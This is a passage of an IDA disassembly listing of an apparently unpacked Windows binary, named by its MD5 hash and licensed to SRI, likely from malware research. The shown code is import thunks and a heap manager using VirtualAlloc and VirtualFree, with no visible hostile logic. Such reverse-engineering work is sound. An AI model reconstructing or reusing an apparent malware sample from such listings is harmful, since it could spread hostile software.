;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	C0956C7DDEA5D4E2797CD262A2F33826

; File Name   :	u:\work\c0956c7ddea5d4e2797cd262a2f33826_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	10000000
; Section 1. (virtual address 00001000)
; Virtual size			: 00006984 (  27012.)
; Section size in file		: 00006984 (  27012.)
; Offset to raw	data for section: 00001000
; Flags	60000020: Text Executable Readable
; Alignment	: default

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Execute
CODE		segment	para public 'CODE' use32
		assume cs:CODE
		;org 10001000h
		assume es:nothing, ss:nothing, ds:CODE,	fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001000	proc near		; CODE XREF: sub_10002F48+39p
					; sub_10002F48+54p
		jmp	ds:dword_1000B0E0
sub_10001000	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001008	proc near		; CODE XREF: sub_10002944+14p
					; sub_10002960+16p ...
		jmp	ds:dword_1000B0DC
sub_10001008	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001010	proc near		; CODE XREF: sub_10002DBC-2B6p
					; CODE:10002D14p
					; DATA XREF: ...
		jmp	ds:dword_1000B0D8
sub_10001010	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001018	proc near		; CODE XREF: sub_10002DBC-31Ep
					; sub_10002DBC-2E1p ...
		jmp	ds:dword_1000B0D4
sub_10001018	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001020	proc near		; CODE XREF: sub_10002F48+3Fp
					; sub_10002F48+5Ap
		jmp	ds:dword_1000B0D0
sub_10001020	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001028	proc near		; CODE XREF: sub_1000258C+Bp
					; sub_1000258C+37p ...
		jmp	ds:dword_1000B0F0
sub_10001028	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001030	proc near		; CODE XREF: sub_10002FD4+BAp
		jmp	ds:dword_1000B0CC
sub_10001030	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001038	proc near		; CODE XREF: sub_10002F48+78p
		jmp	ds:dword_1000B0EC
sub_10001038	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001040	proc near		; CODE XREF: sub_10002FD4+85p
		jmp	ds:dword_1000B0C8
sub_10001040	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001048	proc near		; CODE XREF: sub_10002678:loc_100026AEp
					; CODE:1000352Cp
		jmp	ds:dword_1000B0C4
sub_10001048	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001050	proc near		; CODE XREF: sub_100033E0+26p
		jmp	ds:dword_1000B0C0
sub_10001050	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001058	proc near		; CODE XREF: sub_10002678+24p
		jmp	ds:dword_1000B0BC
sub_10001058	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001060	proc near		; CODE XREF: sub_10001098+Ap
		jmp	ds:dword_1000B0B8
sub_10001060	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001068	proc near		; CODE XREF: CODE:loc_1000356Dp
					; CODE:loc_1000357Ep
		jmp	ds:dword_1000B0B4
sub_10001068	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001070	proc near		; CODE XREF: sub_10002868+6Bp
		jmp	ds:dword_1000B100
sub_10001070	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001078	proc near		; CODE XREF: sub_10002868+22p
		jmp	ds:dword_1000B0FC
sub_10001078	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001080	proc near		; CODE XREF: sub_10002868+55p
		jmp	ds:dword_1000B0F8
sub_10001080	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001088	proc near		; CODE XREF: CODE:loc_1000358Dp
		jmp	ds:dword_1000B0B0
sub_10001088	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001090	proc near		; CODE XREF: CODE:10003540p
					; CODE:10003551p
		jmp	ds:dword_1000B0AC
sub_10001090	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10001098	proc near		; CODE XREF: CODE:10003536p

var_1C		= word ptr -1Ch
var_18		= word ptr -18h

		push	ebx
		add	esp, 0FFFFFFBCh
		mov	ebx, 0Ah
		push	esp
		call	sub_10001060	; GetStartupInfoA
		test	byte ptr [esp+48h+var_1C], 1
		jz	short loc_100010B3
		movzx	ebx, [esp+48h+var_18]


loc_100010B3:				; CODE XREF: sub_10001098+14j
		mov	eax, ebx
		add	esp, 44h
		pop	ebx
		retn
sub_10001098	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_100010BC	proc near		; CODE XREF: sub_100010FC+13p
					; sub_10001788+53p
		jmp	ds:dword_1000B0A8
sub_100010BC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_100010C4	proc near		; CODE XREF: sub_1000184C+3Fp
					; sub_1000184C+9Dp
		jmp	ds:dword_1000B0A4
sub_100010C4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_100010CC	proc near		; CODE XREF: sub_100012A0+2Fp
					; sub_10001304+1Ep ...
		jmp	ds:dword_1000B0A0
sub_100010CC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_100010D4	proc near		; CODE XREF: sub_100012A0+56p
					; sub_10001304+69p ...
		jmp	ds:dword_1000B09C
sub_100010D4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_100010DC	proc near		; CODE XREF: sub_10001788+16p
		jmp	ds:dword_1000B098
sub_100010DC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_100010E4	proc near		; CODE XREF: sub_10001788+29p
					; sub_1000184C+2Dp ...
		jmp	ds:dword_1000B094
sub_100010E4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_100010EC	proc near		; CODE XREF: sub_10001788+B0p
					; sub_1000184C+C6p ...
		jmp	ds:dword_1000B090
sub_100010EC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_100010F4	proc near		; CODE XREF: sub_1000184C+D0p
		jmp	ds:dword_1000B08C
sub_100010F4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_100010FC	proc near		; CODE XREF: sub_10001154+6p
		push	ebx
		push	esi
		mov	esi, offset dword_1000A5D0
		cmp	dword ptr [esi], 0
		jnz	short loc_10001142
		push	644h
		push	0
		call	sub_100010BC	; LocalAlloc
		mov	ecx, eax
		test	ecx, ecx
		jnz	short loc_1000111F
		xor	eax, eax
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_1000111F:				; CODE XREF: sub_100010FC+1Cj
		mov	eax, ds:dword_1000A5CC
		mov	[ecx], eax
		mov	ds:dword_1000A5CC, ecx
		xor	edx, edx


loc_1000112E:				; CODE XREF: sub_100010FC+44j
		mov	eax, edx
		add	eax, eax
		lea	eax, [ecx+eax*8+4]
		mov	ebx, [esi]
		mov	[eax], ebx
		mov	[esi], eax
		inc	edx
		cmp	edx, 64h
		jnz	short loc_1000112E


loc_10001142:				; CODE XREF: sub_100010FC+Aj
		mov	eax, [esi]
		mov	edx, [eax]
		mov	[esi], edx
		pop	esi
		pop	ebx
		retn
sub_100010FC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_1000114C	proc near		; CODE XREF: sub_10001788+33p
					; sub_10001788+3Dp ...
		mov	[eax], eax
		mov	[eax+4], eax
		retn
sub_1000114C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10001154	proc near		; CODE XREF: sub_1000119C+5Dp
					; sub_1000120C+73p ...
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		call	sub_100010FC
		test	eax, eax
		jnz	short loc_10001168
		xor	eax, eax
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_10001168:				; CODE XREF: sub_10001154+Dj
		mov	edx, [esi]
		mov	[eax+8], edx
		mov	edx, [esi+4]
		mov	[eax+0Ch], edx
		mov	edx, [ebx]
		mov	[eax], edx
		mov	[eax+4], ebx
		mov	[edx+4], eax
		mov	[ebx], eax
		mov	al, 1
		pop	esi
		pop	ebx
		retn
sub_10001154	endp


; =============== S U B	R O U T	I N E =======================================



sub_10001184	proc near		; CODE XREF: sub_1000119C+2Cp
					; sub_1000119C+48p ...
		mov	edx, [eax+4]
		mov	ecx, [eax]
		mov	[edx], ecx
		mov	[ecx+4], edx
		mov	edx, ds:dword_1000A5D0
		mov	[eax], edx
		mov	ds:dword_1000A5D0, eax
		retn
sub_10001184	endp


; =============== S U B	R O U T	I N E =======================================



sub_1000119C	proc near		; CODE XREF: sub_10001548+6Cp
					; sub_100015D8+62p ...

var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		push	ecx
		mov	esi, ecx
		mov	[esp+14h+var_14], edx
		mov	ebp, eax
		mov	ebx, [ebp+0]
		mov	eax, [esp+14h+var_14]
		mov	edx, [eax]
		mov	[esi], edx
		mov	edx, [eax+4]
		mov	[esi+4], edx


loc_100011B8:				; CODE XREF: sub_1000119C+57j
		mov	edi, [ebx]
		mov	eax, [esi]
		mov	edx, [ebx+8]
		add	edx, [ebx+0Ch]
		cmp	eax, edx
		jnz	short loc_100011DA
		mov	eax, ebx
		call	sub_10001184
		mov	eax, [ebx+8]
		mov	[esi], eax
		mov	eax, [ebx+0Ch]
		add	[esi+4], eax
		jmp	short loc_100011EF
; ---------------------------------------------------------------------------


loc_100011DA:				; CODE XREF: sub_1000119C+28j
		add	eax, [esi+4]
		cmp	eax, [ebx+8]
		jnz	short loc_100011EF
		mov	eax, ebx
		call	sub_10001184
		mov	eax, [ebx+0Ch]
		add	[esi+4], eax


loc_100011EF:				; CODE XREF: sub_1000119C+3Cj
					; sub_1000119C+44j
		mov	ebx, edi
		cmp	ebp, ebx
		jnz	short loc_100011B8
		mov	edx, esi
		mov	eax, ebp
		call	sub_10001154
		test	al, al
		jnz	short loc_10001206
		xor	eax, eax
		mov	[esi], eax


loc_10001206:				; CODE XREF: sub_1000119C+64j
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_1000119C	endp


; =============== S U B	R O U T	I N E =======================================



sub_1000120C	proc near		; CODE XREF: sub_100016FC+7Ap
					; sub_10001AE4+99p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF8h
		mov	ebx, eax
		mov	edi, ebx


loc_10001217:				; CODE XREF: sub_1000120C+88j
		mov	esi, [edx]
		mov	eax, [ebx+8]
		cmp	esi, eax
		jb	short loc_10001290
		mov	ecx, esi
		add	ecx, [edx+4]
		mov	ebp, eax
		add	ebp, [ebx+0Ch]
		cmp	ecx, ebp
		ja	short loc_10001290
		cmp	esi, eax
		jnz	short loc_1000124D
		mov	eax, [edx+4]
		add	[ebx+8], eax
		mov	eax, [edx+4]
		sub	[ebx+0Ch], eax
		cmp	dword ptr [ebx+0Ch], 0
		jnz	short loc_1000128C
		mov	eax, ebx
		call	sub_10001184
		jmp	short loc_1000128C
; ---------------------------------------------------------------------------


loc_1000124D:				; CODE XREF: sub_1000120C+24j
		mov	ecx, esi
		mov	edi, [edx+4]
		add	ecx, edi
		mov	ebp, eax
		add	ebp, [ebx+0Ch]
		cmp	ecx, ebp
		jnz	short loc_10001262
		sub	[ebx+0Ch], edi
		jmp	short loc_1000128C
; ---------------------------------------------------------------------------


loc_10001262:				; CODE XREF: sub_1000120C+4Fj
		mov	ecx, [edx]
		add	ecx, [edx+4]
		mov	[esp+18h+var_18], ecx
		mov	edi, [ebx+8]
		add	edi, [ebx+0Ch]
		sub	edi, ecx
		mov	[esp+18h+var_14], edi
		sub	esi, eax
		mov	[ebx+0Ch], esi
		mov	edx, esp
		mov	eax, ebx
		call	sub_10001154
		test	al, al
		jnz	short loc_1000128C
		xor	eax, eax
		jmp	short loc_10001298
; ---------------------------------------------------------------------------


loc_1000128C:				; CODE XREF: sub_1000120C+36j
					; sub_1000120C+3Fj ...
		mov	al, 1
		jmp	short loc_10001298
; ---------------------------------------------------------------------------


loc_10001290:				; CODE XREF: sub_1000120C+12j
					; sub_1000120C+20j
		mov	ebx, [ebx]
		cmp	edi, ebx
		jnz	short loc_10001217
		xor	eax, eax


loc_10001298:				; CODE XREF: sub_1000120C+7Ej
					; sub_1000120C+82j
		pop	ecx
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_1000120C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_100012A0	proc near		; CODE XREF: sub_10001548+5Cp
		push	ebx
		push	esi
		push	edi
		mov	ebx, edx
		mov	esi, eax
		cmp	esi, 100000h
		jge	short loc_100012B6
		mov	esi, 100000h
		jmp	short loc_100012C2
; ---------------------------------------------------------------------------


loc_100012B6:				; CODE XREF: sub_100012A0+Dj
		add	esi, 0FFFFh
		and	esi, 0FFFF0000h


loc_100012C2:				; CODE XREF: sub_100012A0+14j
		mov	[ebx+4], esi
		push	1
		push	2000h
		push	esi
		push	0
		call	sub_100010CC	; VirtualAlloc
		mov	edi, eax
		mov	[ebx], edi
		test	edi, edi
		jz	short loc_100012FF
		mov	edx, ebx
		mov	eax, offset dword_1000A5D4
		call	sub_10001154
		test	al, al
		jnz	short loc_100012FF
		push	8000h
		push	0
		mov	eax, [ebx]
		push	eax
		call	sub_100010D4	; VirtualFree
		xor	eax, eax
		mov	[ebx], eax


loc_100012FF:				; CODE XREF: sub_100012A0+3Aj
					; sub_100012A0+4Aj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_100012A0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10001304	proc near		; CODE XREF: sub_100015D8+4Cp
					; sub_100015D8+93p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, ecx
		mov	esi, edx
		mov	ebp, eax
		mov	dword ptr [ebx+4], 100000h
		push	4
		push	2000h
		push	100000h
		push	ebp
		call	sub_100010CC	; VirtualAlloc
		mov	edi, eax
		mov	[ebx], edi
		test	edi, edi
		jnz	short loc_1000134E
		add	esi, 0FFFFh
		and	esi, 0FFFF0000h
		mov	[ebx+4], esi
		push	4
		push	2000h
		push	esi
		push	ebp
		call	sub_100010CC	; VirtualAlloc
		mov	[ebx], eax


loc_1000134E:				; CODE XREF: sub_10001304+29j
		cmp	dword ptr [ebx], 0
		jz	short loc_10001376
		mov	edx, ebx
		mov	eax, offset dword_1000A5D4
		call	sub_10001154
		test	al, al
		jnz	short loc_10001376
		push	8000h
		push	0
		mov	eax, [ebx]
		push	eax
		call	sub_100010D4	; VirtualFree
		xor	eax, eax
		mov	[ebx], eax


loc_10001376:				; CODE XREF: sub_10001304+4Dj
					; sub_10001304+5Dj
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10001304	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_1000137C	proc near		; CODE XREF: sub_10001548+7Ep
					; sub_100015D8+7Ap ...

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFECh
		mov	[esp+24h+var_20], ecx
		mov	[esp+24h+var_24], edx
		mov	[esp+24h+var_1C], 0FFFFFFFFh
		xor	edx, edx
		mov	[esp+24h+var_18], edx
		mov	ebp, eax
		mov	eax, [esp+24h+var_24]
		add	eax, ebp
		mov	[esp+24h+var_14], eax
		mov	ebx, ds:dword_1000A5D4
		jmp	short loc_100013FC
; ---------------------------------------------------------------------------


loc_100013AB:				; CODE XREF: sub_1000137C+86j
		mov	edi, [ebx]
		mov	esi, [ebx+8]
		cmp	ebp, esi
		ja	short loc_100013FA
		mov	eax, esi
		add	eax, [ebx+0Ch]
		cmp	eax, [esp+24h+var_14]
		ja	short loc_100013FA
		cmp	esi, [esp+24h+var_1C]
		jnb	short loc_100013C9
		mov	[esp+24h+var_1C], esi


loc_100013C9:				; CODE XREF: sub_1000137C+47j
		mov	eax, esi
		add	eax, [ebx+0Ch]
		cmp	eax, [esp+24h+var_18]
		jbe	short loc_100013D8
		mov	[esp+24h+var_18], eax


loc_100013D8:				; CODE XREF: sub_1000137C+56j
		push	8000h
		push	0
		push	esi
		call	sub_100010D4	; VirtualFree
		test	eax, eax
		jnz	short loc_100013F3
		mov	ds:dword_1000A5B0, 1


loc_100013F3:				; CODE XREF: sub_1000137C+6Bj
		mov	eax, ebx
		call	sub_10001184


loc_100013FA:				; CODE XREF: sub_1000137C+36j
					; sub_1000137C+41j
		mov	ebx, edi


loc_100013FC:				; CODE XREF: sub_1000137C+2Dj
		cmp	ebx, offset dword_1000A5D4
		jnz	short loc_100013AB
		mov	eax, [esp+24h+var_20]
		xor	edx, edx
		mov	[eax], edx
		cmp	[esp+24h+var_18], 0
		jz	short loc_1000142C
		mov	eax, [esp+24h+var_20]
		mov	edx, [esp+24h+var_1C]
		mov	[eax], edx
		mov	eax, [esp+24h+var_18]
		sub	eax, [esp+24h+var_1C]
		mov	edx, [esp+24h+var_20]
		mov	[edx+4], eax


loc_1000142C:				; CODE XREF: sub_1000137C+95j
		add	esp, 14h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_1000137C	endp


; =============== S U B	R O U T	I N E =======================================



sub_10001434	proc near		; CODE XREF: sub_10001548+2Dp
					; sub_100015D8+E6p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF4h
		mov	[esp+1Ch+var_18], ecx
		mov	[esp+1Ch+var_1C], edx
		mov	edx, eax
		mov	ebp, edx
		and	ebp, 0FFFFF000h
		add	edx, [esp+1Ch+var_1C]
		add	edx, 0FFFh
		and	edx, 0FFFFF000h
		mov	[esp+1Ch+var_14], edx
		mov	eax, [esp+1Ch+var_18]
		mov	[eax], ebp
		mov	eax, [esp+1Ch+var_14]
		sub	eax, ebp
		mov	edx, [esp+1Ch+var_18]
		mov	[edx+4], eax
		mov	esi, ds:dword_1000A5D4
		jmp	short loc_100014B6
; ---------------------------------------------------------------------------


loc_1000147A:				; CODE XREF: sub_10001434+88j
		mov	ebx, [esi+8]
		mov	edi, [esi+0Ch]
		add	edi, ebx
		cmp	ebp, ebx
		jbe	short loc_10001488
		mov	ebx, ebp


loc_10001488:				; CODE XREF: sub_10001434+50j
		cmp	edi, [esp+1Ch+var_14]
		jbe	short loc_10001492
		mov	edi, [esp+1Ch+var_14]


loc_10001492:				; CODE XREF: sub_10001434+58j
		cmp	edi, ebx
		jbe	short loc_100014B4
		push	4
		push	1000h
		sub	edi, ebx
		push	edi
		push	ebx
		call	sub_100010CC	; VirtualAlloc
		test	eax, eax
		jnz	short loc_100014B4
		mov	eax, [esp+1Ch+var_18]
		xor	edx, edx
		mov	[eax], edx
		jmp	short loc_100014BE
; ---------------------------------------------------------------------------


loc_100014B4:				; CODE XREF: sub_10001434+60j
					; sub_10001434+74j
		mov	esi, [esi]


loc_100014B6:				; CODE XREF: sub_10001434+44j
		cmp	esi, offset dword_1000A5D4
		jnz	short loc_1000147A


loc_100014BE:				; CODE XREF: sub_10001434+7Ej
		add	esp, 0Ch
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10001434	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_100014C8	proc near		; CODE XREF: sub_100016FC+2Ep

var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		push	ecx
		mov	ebx, eax
		mov	esi, ebx
		add	esi, 0FFFh
		and	esi, 0FFFFF000h
		mov	[esp+14h+var_14], esi
		mov	ebp, ebx
		add	ebp, edx
		and	ebp, 0FFFFF000h
		mov	eax, [esp+14h+var_14]
		mov	[ecx], eax
		mov	eax, ebp
		sub	eax, [esp+14h+var_14]
		mov	[ecx+4], eax
		mov	esi, ds:dword_1000A5D4
		jmp	short loc_10001537
; ---------------------------------------------------------------------------


loc_100014FF:				; CODE XREF: sub_100014C8+75j
		mov	ebx, [esi+8]
		mov	edi, [esi+0Ch]
		add	edi, ebx
		cmp	ebx, [esp+14h+var_14]
		jnb	short loc_1000150F
		mov	ebx, [esp+14h+var_14]


loc_1000150F:				; CODE XREF: sub_100014C8+42j
		cmp	ebp, edi
		jnb	short loc_10001515
		mov	edi, ebp


loc_10001515:				; CODE XREF: sub_100014C8+49j
		cmp	edi, ebx
		jbe	short loc_10001535
		push	4000h
		sub	edi, ebx
		push	edi
		push	ebx
		call	sub_100010D4	; VirtualFree
		test	eax, eax
		jnz	short loc_10001535
		mov	ds:dword_1000A5B0, 2


loc_10001535:				; CODE XREF: sub_100014C8+4Fj
					; sub_100014C8+61j
		mov	esi, [esi]


loc_10001537:				; CODE XREF: sub_100014C8+35j
		cmp	esi, offset dword_1000A5D4
		jnz	short loc_100014FF
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_100014C8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10001548	proc near		; CODE XREF: sub_10001CF4+Bp

var_18		= dword	ptr -18h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF8h
		mov	esi, edx
		mov	edi, eax
		mov	ebp, offset dword_1000A5E4
		add	edi, 3FFFh
		and	edi, 0FFFFC000h


loc_10001564:				; CODE XREF: sub_10001548+75j
		mov	ebx, [ebp+0]
		jmp	short loc_1000159C
; ---------------------------------------------------------------------------


loc_10001569:				; CODE XREF: sub_10001548+56j
		cmp	edi, [ebx+0Ch]
		jg	short loc_1000159A
		mov	ecx, esi
		mov	edx, edi
		mov	eax, [ebx+8]
		call	sub_10001434
		cmp	dword ptr [esi], 0
		jz	short loc_100015CF
		mov	eax, [esi+4]
		add	[ebx+8], eax
		mov	eax, [esi+4]
		sub	[ebx+0Ch], eax
		cmp	dword ptr [ebx+0Ch], 0
		jnz	short loc_100015CF
		mov	eax, ebx
		call	sub_10001184
		jmp	short loc_100015CF
; ---------------------------------------------------------------------------


loc_1000159A:				; CODE XREF: sub_10001548+24j
		mov	ebx, [ebx]


loc_1000159C:				; CODE XREF: sub_10001548+1Fj
		cmp	ebx, ebp
		jnz	short loc_10001569
		mov	edx, esi
		mov	eax, edi
		call	sub_100012A0
		cmp	dword ptr [esi], 0
		jz	short loc_100015CF
		mov	ecx, esp
		mov	edx, esi
		mov	eax, ebp
		call	sub_1000119C
		cmp	[esp+18h+var_18], 0
		jnz	short loc_10001564
		mov	ecx, esp
		mov	edx, [esi+4]
		mov	eax, [esi]
		call	sub_1000137C
		xor	eax, eax
		mov	[esi], eax


loc_100015CF:				; CODE XREF: sub_10001548+35j
					; sub_10001548+47j ...
		pop	ecx
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10001548	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_100015D8	proc near		; CODE XREF: sub_10001D20+10p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFECh
		mov	[esp+24h+var_24], ecx
		mov	edi, edx
		mov	esi, eax
		mov	ebp, offset dword_1000A5E4
		add	edi, 3FFFh
		and	edi, 0FFFFC000h


loc_100015F7:				; CODE XREF: sub_100015D8+6Cj
					; sub_100015D8+B3j
		mov	ebx, [ebp+0]
		jmp	short loc_100015FE
; ---------------------------------------------------------------------------


loc_100015FC:				; CODE XREF: sub_100015D8+2Dj
		mov	ebx, [ebx]


loc_100015FE:				; CODE XREF: sub_100015D8+22j
		cmp	ebx, ebp
		jz	short loc_10001607
		cmp	esi, [ebx+8]
		jnz	short loc_100015FC


loc_10001607:				; CODE XREF: sub_100015D8+28j
		cmp	esi, [ebx+8]
		jnz	short loc_10001663
		cmp	edi, [ebx+0Ch]
		jle	loc_100016AB
		lea	ecx, [esp+24h+var_20]
		mov	edx, edi
		sub	edx, [ebx+0Ch]
		mov	eax, [ebx+8]
		add	eax, [ebx+0Ch]
		call	sub_10001304
		cmp	[esp+24h+var_20], 0
		jz	short loc_10001663
		lea	ecx, [esp+24h+var_18]
		lea	edx, [esp+24h+var_20]
		mov	eax, ebp
		call	sub_1000119C
		cmp	[esp+24h+var_18], 0
		jnz	short loc_100015F7
		lea	ecx, [esp+24h+var_18]
		mov	edx, [esp+24h+var_1C]
		mov	eax, [esp+24h+var_20]
		call	sub_1000137C
		mov	eax, [esp+24h+var_24]
		xor	edx, edx
		mov	[eax], edx
		jmp	loc_100016F3
; ---------------------------------------------------------------------------


loc_10001663:				; CODE XREF: sub_100015D8+32j
					; sub_100015D8+56j
		lea	ecx, [esp+24h+var_20]
		mov	edx, edi
		mov	eax, esi
		call	sub_10001304
		cmp	[esp+24h+var_20], 0
		jz	short loc_100016AB
		lea	ecx, [esp+24h+var_18]
		lea	edx, [esp+24h+var_20]
		mov	eax, ebp
		call	sub_1000119C
		cmp	[esp+24h+var_18], 0
		jnz	loc_100015F7
		lea	ecx, [esp+24h+var_18]
		mov	edx, [esp+24h+var_1C]
		mov	eax, [esp+24h+var_20]
		call	sub_1000137C
		mov	eax, [esp+24h+var_24]
		xor	edx, edx
		mov	[eax], edx
		jmp	short loc_100016F3
; ---------------------------------------------------------------------------


loc_100016AB:				; CODE XREF: sub_100015D8+37j
					; sub_100015D8+9Dj
		mov	ebp, [ebx+8]
		cmp	esi, ebp
		jnz	short loc_100016EC
		cmp	edi, [ebx+0Ch]
		jg	short loc_100016EC
		mov	ecx, [esp+24h+var_24]
		mov	edx, edi
		mov	eax, ebp
		call	sub_10001434
		mov	eax, [esp+24h+var_24]
		cmp	dword ptr [eax], 0
		jz	short loc_100016F3
		mov	eax, [esp+24h+var_24]
		mov	eax, [eax+4]
		add	[ebx+8], eax
		mov	eax, [esp+24h+var_24]
		mov	eax, [eax+4]
		sub	[ebx+0Ch], eax
		cmp	dword ptr [ebx+0Ch], 0
		jnz	short loc_100016F3
		mov	eax, ebx
		call	sub_10001184
		jmp	short loc_100016F3
; ---------------------------------------------------------------------------


loc_100016EC:				; CODE XREF: sub_100015D8+D8j
					; sub_100015D8+DDj
		mov	eax, [esp+24h+var_24]
		xor	edx, edx
		mov	[eax], edx


loc_100016F3:				; CODE XREF: sub_100015D8+86j
					; sub_100015D8+D1j ...
		add	esp, 14h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_100015D8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_100016FC	proc near		; CODE XREF: sub_10001AE4+4Ep
					; sub_10001AE4+61p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFFECh
		mov	edi, ecx
		mov	[esp+20h+var_20], edx
		lea	ebx, [eax+3FFFh]
		and	ebx, 0FFFFC000h
		mov	esi, [esp+20h+var_20]
		add	esi, eax
		and	esi, 0FFFFC000h
		cmp	ebx, esi
		jnb	short loc_1000177D
		mov	ecx, edi
		mov	edx, esi
		sub	edx, ebx
		mov	eax, ebx
		call	sub_100014C8
